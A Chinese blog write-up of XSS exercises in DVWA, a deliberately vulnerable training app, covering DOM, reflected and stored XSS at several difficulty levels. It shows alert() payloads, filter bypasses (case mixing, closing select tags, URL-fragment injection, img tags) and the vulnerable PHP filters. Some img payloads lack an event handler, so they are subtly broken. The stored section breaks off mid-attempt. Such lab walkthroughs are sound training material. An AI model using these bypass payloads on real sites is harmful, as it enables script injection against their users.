DVWA 三个等级的XSS

这篇博客详细探讨了DVWA(Damn Vulnerable Web Application)中的XSS漏洞,包括DOM型XSS的LOW、MEDIUM、HIGH三个等级的攻击与防御方法。作者通过实验发现,LOW等级中script被过滤,而在HIGH等级中使用特定方法成功绕过过滤。同时,博客还分析了XSS (Reflected)和XSS (Stored)的情况,揭示了PHP过滤机制和正则表达式的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS(DOM)


LOW
这个难度极其简单,直接url注入一个scrip的命令
?default=<script>alert('hacked')</script>

在这里插入图片描述

medium

首先,用low的情况加个大小写混写,看看情况。

?default=<scrIPT>alert("hack")</SCRipt>

结果:
在这里插入图片描述结果直接把我的代码给去掉了,再猜一下别的代码。

?default=<img src=0 "alert('hacked')"/>

结果:
在这里插入图片描述看来,应该是将script过滤了,但是并未弹窗,让我看一下代码。

在这里插入图片描述可以看出,输入的命令被包含到了value中,那就把value闭合一下看看。

?default="><img src=0 "alert('hacked')"/>

仍未弹窗,看一下情况
在这里插入图片描述
这里只有开头字符被提取。看一下提取的方法:
在这里插入图片描述这里只看到了对option处理,但是不知道为什么单单闭合option标签仍会无效。
既然如此,便用干脆将整个select都闭合

?default="></option></select><img src=0 "alert('hacked')"/>

在这里插入图片描述成功。
那么来看看php代码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

果然,是过滤了script

high
这个难度让我有点慌,先看一下php代码吧
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

。。。。。。本来已经放弃了,不过突然想到一个东西,让我试试

?default=English#<script>alert('hacked')</script>

在这里插入图片描述成功。


XSS (Reflected)

low
low级别,直接用script代码
<script>alert('hacked')</script>

在这里插入图片描述EZ

medium
先是script看一下过滤。
<scripT>alert(1)</scripT>

在这里插入图片描述…好吧,看来只是过滤了script直接大小写绕过
php代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
high
惯例,先script代码看看过滤
<scriPt>alert('hacked')</sCript>

在这里插入图片描述
果然,被过滤了。那么试一试img

<img src=1 "alert('hacked')">

在这里插入图片描述成功,那么php应该只是过滤了scrip标签。

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

果然,是用了正则表达式


XSS (Stored)

low
这个难度肯定是不设防,直接上
<script>alert('hacked')</script>

成功:
在这里插入图片描述

medium

老样子,先试一试过滤
在这里插入图片描述结果: 在这里插入图片描述
看来是不区分大小写的过滤,那试试双写绕过?
在这里插入图片描述 在这里插入图片描述
好吧,看来不行啊。。。虽然想试试三写,不过先看一下name能不能搞一搞
在这里插入图片描述看上去限制了输入啊。。。让我抓包改一下

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值